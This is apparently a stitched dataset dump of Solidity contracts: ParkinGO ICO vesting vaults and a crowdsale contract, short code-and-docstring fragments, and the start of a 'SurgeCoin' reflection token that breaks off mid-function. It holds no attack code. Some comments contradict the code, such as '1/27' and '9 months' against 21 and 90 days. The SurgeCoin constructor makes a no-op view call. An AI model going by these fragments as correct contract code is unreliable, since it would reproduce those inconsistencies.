/*** CONSTANTS ***/
uint256 public constant VESTING_DIV_RATE = 21; // division rate of monthly vesting
uint256 public constant VESTING_INTERVAL = 30 days; // vesting interval
uint256 public constant VESTING_CLIFF = 90 days; // duration until cliff is reached
uint256 public constant VESTING_DURATION = 720 days; // vesting duration
GotToken public token;
uint256 public start;
uint256 public end;
uint256 public cliff;
//Investment[] public investments;
// key: investor address; value: index in investments array.
//mapping(address => uint256) public investorLUT;
mapping(address => Investment) public investments;
/**
* @dev Function to be fired by the initPGOMonthlyInternalVault function from the GotCrowdSale contract to set the
* InternalVault's state after deployment.
* @param beneficiaries Array of the internal investors addresses to whom vested tokens are transferred.
* @param balances Array of token amount per beneficiary.
* @param startTime Start time at which the first released will be executed, and from which the cliff for second
* release is calculated.
* @param _token The address of the GOT Token.
*/
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
// makes sure this function is only called once
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_CLIFF);
end = start.add(VESTING_DURATION);
token = GotToken(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0);
}
}
/**
* @dev Allows a sender to transfer vested tokens to the beneficiary's address.
* @param beneficiary The address that will receive the vested tokens.
*/
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
investments[beneficiary].released = investments[beneficiary].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
/**
* @dev Transfers vested tokens to the sender's address.
*/
function release() public {
release(msg.sender);
}
/**
* @dev Allows to check an investment.
* @param beneficiary The address of the beneficiary of the investment to check.
*/
function getInvestment(address beneficiary) public view returns(address, uint256, uint256) {
return (
investments[beneficiary].beneficiary,
investments[beneficiary].totalBalance,
investments[beneficiary].released
);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param beneficiary The address that will receive the vested tokens.
*/
function releasableAmount(address beneficiary) public view returns (uint256) {
return vestedAmount(beneficiary).sub(investments[beneficiary].released);
}
/**
* @dev Calculates the amount that has already vested.
* @param beneficiary The address that will receive the vested tokens.
*/
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= cliff && block.timestamp < end) {
// after cliff -> 1/21 of totalBalance every month, must skip first 3 months
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE);
uint256 time = block.timestamp.sub(cliff);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance);
vested = vested.add(vestedToSum);
}
if (block.timestamp >= end) {
// after end -> all vested
vested = investments[beneficiary].totalBalance;
}
return vested;
}
}
//File: contracts\ico\PGOMonthlyPresaleVault.sol
/**
* @title PGOMonthlyVault
* @dev A token holder contract that allows the release of tokens after a vesting period.
*
* @version 1.0
* @author ParkinGO
*/
pragma solidity ^0.4.24;
contract PGOMonthlyPresaleVault is PGOMonthlyInternalVault {
/**
* @dev OVERRIDE vestedAmount from PGOMonthlyInternalVault
* Calculates the amount that has already vested, release 1/3 of token immediately.
* @param beneficiary The address that will receive the vested tokens.
*/
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= start) {
// after start -> 1/3 released (fixed)
vested = investments[beneficiary].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
// after cliff -> 1/27 of totalBalance every month, must skip first 9 month
uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3);
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 lockedBalance = totalBalance.sub(unlockedStartBalance);
uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE);
uint256 daysToSkip = 90 days;
uint256 time = block.timestamp.sub(start).sub(daysToSkip);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
vested = vested.add(elapsedOffsets.mul(monthlyBalance));
}
if (block.timestamp >= end) {
// after end -> all vested
vested = investments[beneficiary].totalBalance;
}
return vested;
}
}
//File: contracts\ico\GotCrowdSale.sol
/**
* @title GotCrowdSale
*
* @version 1.0
* @author ParkinGo
*/
pragma solidity ^0.4.24;
contract GotCrowdSale is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase {
/*** CONSTANTS ***/
uint256 public constant START_TIME = 1529416800;
//uint256 public constant START_TIME = 1529416800; // 19 June 2018 14:00:00 GMT
uint256 public constant END_TIME = 1530655140; // 03 July 2018 21:59:00 GMT
//uint256 public constant USD_PER_TOKEN = 75; // 0.75$
//uint256 public constant USD_PER_ETHER = 60000; // REMEMBER TO CHANGE IT AT ICO START
uint256 public constant TOKEN_PER_ETHER = 740; // REMEMBER TO CHANGE IT AT ICO START
//Token allocation
//Team, founder, partners and advisor cap locked using Monthly Internal Vault
uint256 public constant MONTHLY_INTERNAL_VAULT_CAP = 2.85e7 * 1e18;
//Company unlocked liquidity and Airdrop allocation
uint256 public constant PGO_UNLOCKED_LIQUIDITY_CAP = 1.5e7 * 1e18;
//Internal reserve fund
uint256 public constant PGO_INTERNAL_RESERVE_CAP = 3.5e7 * 1e18;
//Reserved Presale Allocation 33% free and 67% locked using Monthly Presale Vault
uint256 public constant RESERVED_PRESALE_CAP = 1.5754888e7 * 1e18;
//ICO TOKEN ALLOCATION
//Public ICO Cap
//uint256 public constant CROWDSALE_CAP = 0.15e7 * 1e18;
//Reservation contract Cap
uint256 public constant RESERVATION_CAP = 0.4297111e7 * 1e18;
//TOTAL ICO CAP
uint256 public constant TOTAL_ICO_CAP = 0.5745112e7 * 1e18;
uint256 public start; // ICOEngineInterface
uint256 public end; // ICOEngineInterface
uint256 public cap; // ICOEngineInterface
uint256 public tokenPerEth;
uint256 public availableTokens; // ICOEngineInterface
address[] public kycSigners; // KYCBase
bool public capReached;
uint256 public weiRaised;
uint256 public tokensSold;
// Vesting contracts.
//Unlock funds after 9 months monthly
PGOMonthlyInternalVault public pgoMonthlyInternalVault;
//Unlock 1/3 funds immediately and remaining after 9 months monthly
PGOMonthlyPresaleVault public pgoMonthlyPresaleVault;
//Unlock funds after 12 months 25% every 6 months
PGOVault public pgoVault;
// Vesting wallets.
address public pgoInternalReserveWallet;
//Unlocked wallets
address public pgoUnlockedLiquidityWallet;
//ether wallet
address public wallet;
GotToken public token;
// Lets owner manually end crowdsale.
bool public didOwnerEndCrowdsale;
/**
* @dev Constructor.
* @param _token address contract got tokens.
* @param _wallet The address where funds should be transferred.
* @param _pgoInternalReserveWallet The address where token will be send after vesting should be transferred.
* @param _pgoUnlockedLiquidityWallet The address where token will be send after vesting should be transferred.
* @param _pgoMonthlyInternalVault The address of internal funds vault contract with monthly unlocking after 9 months.
* @param _pgoMonthlyPresaleVault The address of presale funds vault contract with 1/3 free funds and monthly unlocking after 9 months.
* @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo.
* See https://github.com/eidoo/icoengine
*/
constructor(
address _token,
address _wallet,
address _pgoInternalReserveWallet,
address _pgoUnlockedLiquidityWallet,
address _pgoMonthlyInternalVault,
address _pgoMonthlyPresaleVault,
address[] _kycSigners
)
public
KYCBase(_kycSigners)
{
require(END_TIME >= START_TIME);
require(TOTAL_ICO_CAP > 0);
start = START_TIME;
end = END_TIME;
cap = TOTAL_ICO_CAP;
wallet = _wallet;
tokenPerEth = TOKEN_PER_ETHER;// USD_PER_ETHER.div(USD_PER_TOKEN);
availableTokens = TOTAL_ICO_CAP;
kycSigners = _kycSigners;
token = GotToken(_token);
pgoMonthlyInternalVault = PGOMonthlyInternalVault(_pgoMonthlyInternalVault);
pgoMonthlyPresaleVault = PGOMonthlyPresaleVault(_pgoMonthlyPresaleVault);
pgoInternalReserveWallet = _pgoInternalReserveWallet;
pgoUnlockedLiquidityWallet = _pgoUnlockedLiquidityWallet;
wallet = _wallet;
// Creates ParkinGo vault contract
pgoVault = new PGOVault(pgoInternalReserveWallet, address(token), END_TIME);
}
/**
* @dev Mints unlocked tokens to unlockedLiquidityWallet and
* assings tokens to be held into the internal reserve vault contracts.
* To be called by the crowdsale's owner only.
*/
function mintPreAllocatedTokens() public onlyOwner {
mintTokens(pgoUnlockedLiquidityWallet, PGO_UNLOCKED_LIQUIDITY_CAP);
mintTokens(address(pgoVault), PGO_INTERNAL_RESERVE_CAP);
}
/**
* @dev Sets the state of the internal monthly locked vault contract and mints tokens.
* It will contains all TEAM, FOUNDER, ADVISOR and PARTNERS tokens.
* All token are locked for the first 9 months and then unlocked monthly.
* It will check that all internal token are correctly allocated.
* So far, the internal monthly vault contract has been deployed and this function
* needs to be called to set its investments and vesting conditions.
* @param beneficiaries Array of the internal addresses to whom vested tokens are transferred.
* @param balances Array of token amount per beneficiary.
*/
function initPGOMonthlyInternalVault(address[] beneficiaries, uint256[] balances)
public
onlyOwner
equalLength(beneficiaries, balances)
{
uint256 totalInternalBalance = 0;
uint256 balancesLength = balances.length;
for (uint256 i = 0; i < balancesLength; i++) {
totalInternalBalance = totalInternalBalance.add(balances[i]);
}
//check that all balances matches internal vault allocated Cap
require(totalInternalBalance == MONTHLY_INTERNAL_VAULT_CAP);
pgoMonthlyInternalVault.init(beneficiaries, balances, END_TIME, token);
mintTokens(address(pgoMonthlyInternalVault), MONTHLY_INTERNAL_VAULT_CAP);
}
/**
* @dev Sets the state of the reserved presale vault contract and mints reserved presale tokens.
* It will contains all reserved PRESALE token,
* 1/3 of tokens are free and the remaining are locked for the first 9 months and then unlocked monthly.
* It will check that all reserved presale token are correctly allocated.
* So far, the monthly presale vault contract has been deployed and
* this function needs to be called to set its investments and vesting conditions.
* @param beneficiaries Array of the presale investors addresses to whom vested tokens are transferred.
* @param balances Array of token amount per beneficiary.
*/
function initPGOMonthlyPresaleVault(address[] beneficiaries, uint256[] balances)
public
onlyOwner
equalLength(beneficiaries, balances)
{
uint256 totalPresaleBalance = 0;
uint256 balancesLength = balances.length;
for (uint256 i = 0; i < balancesLength; i++) {
totalPresaleBalance = totalPresaleBalance.add(balances[i]);
}
//check that all balances matches internal vault allocated Cap
require(totalPresaleBalance == RESERVED_PRESALE_CAP);
pgoMonthlyPresaleVault.init(beneficiaries, balances, END_TIME, token);
mintTokens(address(pgoMonthlyPresaleVault), totalPresaleBalance);
}
/**
* @dev Mint all token collected by second private presale (called reservation),
* all KYC control are made outside contract under responsability of ParkinGO.
* Also, updates tokensSold and availableTokens in the crowdsale contract,
* it checks that sold token are less than reservation contract cap.
* @param beneficiaries Array of the reservation user that bought tokens in private reservation sale.
* @param balances Array of token amount per beneficiary.
*/
function mintReservation(address[] beneficiaries, uint256[] balances)
public
onlyOwner
equalLength(beneficiaries, balances)
{
//require(tokensSold == 0);
uint256 totalReservationBalance = 0;
uint256 balancesLength = balances.length;
for (uint256 i = 0; i < balancesLength; i++) {
totalReservationBalance = totalReservationBalance.add(balances[i]);
uint256 amount = balances[i];
//update token sold of crowdsale contract
tokensSold = tokensSold.add(amount);
//update available token of crowdsale contract
availableTokens = availableTokens.sub(amount);
mintTokens(beneficiaries[i], amount);
}
require(totalReservationBalance <= RESERVATION_CAP);
}
/**
* @dev Allows the owner to close the crowdsale manually before the end time.
*/
function closeCrowdsale() public onlyOwner {
require(block.timestamp >= START_TIME && block.timestamp < END_TIME);
didOwnerEndCrowdsale = true;
}
/**
* @dev Allows the owner to unpause tokens, stop minting and transfer ownership of the token contract.
*/
function finalise() public onlyOwner {
require(didOwnerEndCrowdsale || block.timestamp > end || capReached);
token.finishMinting();
token.unpause();
// Token contract extends CanReclaimToken so the owner can recover
// any ERC20 token received in this contract by mistake.
// So far, the owner of the token contract is the crowdsale contract.
// We transfer the ownership so the owner of the crowdsale is also the owner of the token.
token.transferOwnership(owner);
}
/**
* @dev Implements the price function from EidooEngineInterface.
* @notice Calculates the price as tokens/ether based on the corresponding bonus bracket.
* @return Price as tokens/ether.
*/
function price() public view returns (uint256 _price) {
return tokenPerEth;
}
/**
* @dev Implements the ICOEngineInterface.
* @return False if the ico is not started, true if the ico is started and running, true if the ico is completed.
*/
function started() public view returns(bool) {
if (block.timestamp >= start) {
return true;
} else {
return false;
}
}
/**
* @dev Implements the ICOEngineInterface.
* @return False if the ico is not started, false if the ico is started and running, true if the ico is completed.
*/
function ended() public view returns(bool) {
if (block.timestamp >= end) {
return true;
} else {
return false;
}
}
/**
* @dev Implements the ICOEngineInterface.
* @return Timestamp of the ico start time.
*/
function startTime() public view returns(uint) {
return start;
}
/**
* @dev Implements the ICOEngineInterface.
* @return Timestamp of the ico end time.
*/
function endTime() public view returns(uint) {
return end;
}
/**
* @dev Implements the ICOEngineInterface.
* @return The total number of the tokens available for the sale, must not change when the ico is started.
*/
function totalTokens() public view returns(uint) {
return cap;
}
/**
* @dev Implements the ICOEngineInterface.
* @return The number of the tokens available for the ico.
* At the moment the ico starts it must be equal to totalTokens(),
* then it will decrease.
*/
function remainingTokens() public view returns(uint) {
return availableTokens;
}
/**
* @dev Implements the KYCBase senderAllowedFor function to enable a sender to buy tokens for a different address.
* @return true.
*/
function senderAllowedFor(address buyer) internal view returns(bool) {
require(buyer != address(0));
return true;
}
/**
* @dev Implements the KYCBase releaseTokensTo function to mint tokens for an investor.
* Called after the KYC process has passed.
* @return A boolean that indicates if the operation was successful.
*/
function releaseTokensTo(address buyer) internal returns(bool) {
require(validPurchase());
uint256 overflowTokens;
uint256 refundWeiAmount;
uint256 weiAmount = msg.value;
uint256 tokenAmount = weiAmount.mul(price());
if (tokenAmount >= availableTokens) {
capReached = true;
overflowTokens = tokenAmount.sub(availableTokens);
tokenAmount = tokenAmount.sub(overflowTokens);
refundWeiAmount = overflowTokens.div(price());
weiAmount = weiAmount.sub(refundWeiAmount);
buyer.transfer(refundWeiAmount);
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
availableTokens = availableTokens.sub(tokenAmount);
mintTokens(buyer, tokenAmount);
forwardFunds(weiAmount);
return true;
}
/**
* @dev Fired by the releaseTokensTo function after minting tokens,
* to forward the raised wei to the address that collects funds.
* @param _weiAmount Amount of wei send by the investor.
*/
function forwardFunds(uint256 _weiAmount) internal {
wallet.transfer(_weiAmount);
}
/**
* @dev Validates an incoming purchase. Required statements revert state when conditions are not met.
* @return true If the transaction can buy tokens.
*/
function validPurchase() internal view returns (bool) {
require(!paused && !capReached);
require(block.timestamp >= start && block.timestamp <= end);
return true;
}
/**
* @dev Mints tokens being sold during the crowdsale phase as part of the implementation of releaseTokensTo function
* from the KYCBase contract.
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint.
*/
function mintTokens(address to, uint256 amount) private {
token.mint(to, amount);
}
modifier equalLength(address[] beneficiaries, uint256[] balances) {
require(beneficiaries.length == balances.length);
_;
}
}
|
* @dev Mints unlocked tokens to unlockedLiquidityWallet and assings tokens to be held into the internal reserve vault contracts. To be called by the crowdsale's owner only./
|
function mintPreAllocatedTokens() public onlyOwner {
mintTokens(pgoUnlockedLiquidityWallet, PGO_UNLOCKED_LIQUIDITY_CAP);
mintTokens(address(pgoVault), PGO_INTERNAL_RESERVE_CAP);
}
| 12,122,068
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./full_match/1/0x0966016C5E13cFa073f3f5100f84Ae2732b7bFa3/sources/contracts/Verifier.sol
|
Returns the address that signed a given string message
|
function _verifyString(
string memory message,
Signature memory signature
) internal pure returns (address signer) {
bytes32 hash = keccak256(abi.encodePacked(message));
bytes32 messageDigest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
return ecrecover(messageDigest, signature.v, signature.r, signature.s);
}
| 3,163,966
|
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./full_match/44787/0x9d7906A7B2b085B0C40362812Fc813C8142a3791/sources/project_/contracts/UnergyLogicOperation.sol
|
@dev Scaled value by 1e6, if depreciation value is 1% then _depreciationPercentage input will be 1e6; @dev Scaled value by 1e6, if depreciation value is 1% then _depreciationPercentage input will be 1e6;
|
function externalInvoiceReport(
address _projectAddr,
uint256 _energyDelta,
uint256 _energyTariff,
uint256 _depreciationPercentage
)
public
whenNotPaused
hasRoleInPermissionGranter(msg.sender, "externalInvoiceReport")
{
invoiceReport(
_projectAddr,
_energyDelta,
_energyTariff,
_depreciationPercentage
);
}
| 13,282,076
|
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// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SurgeCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 500000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Surge Coin";
string private _symbol = "SRG";
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 public _burnWalletFee = 3;
address public burnWallet = 0x000000000000000000000000000000000000dEaD;
uint256 private _previousBurnWalletFee = _burnWalletFee;
uint256 public _maxTxAmount = 50000000000 * 10**18;
constructor() {
_rOwned[owner()] = _rTotal;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
isExcludedFromReward(burnWallet);
emit Transfer(address(0), owner(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
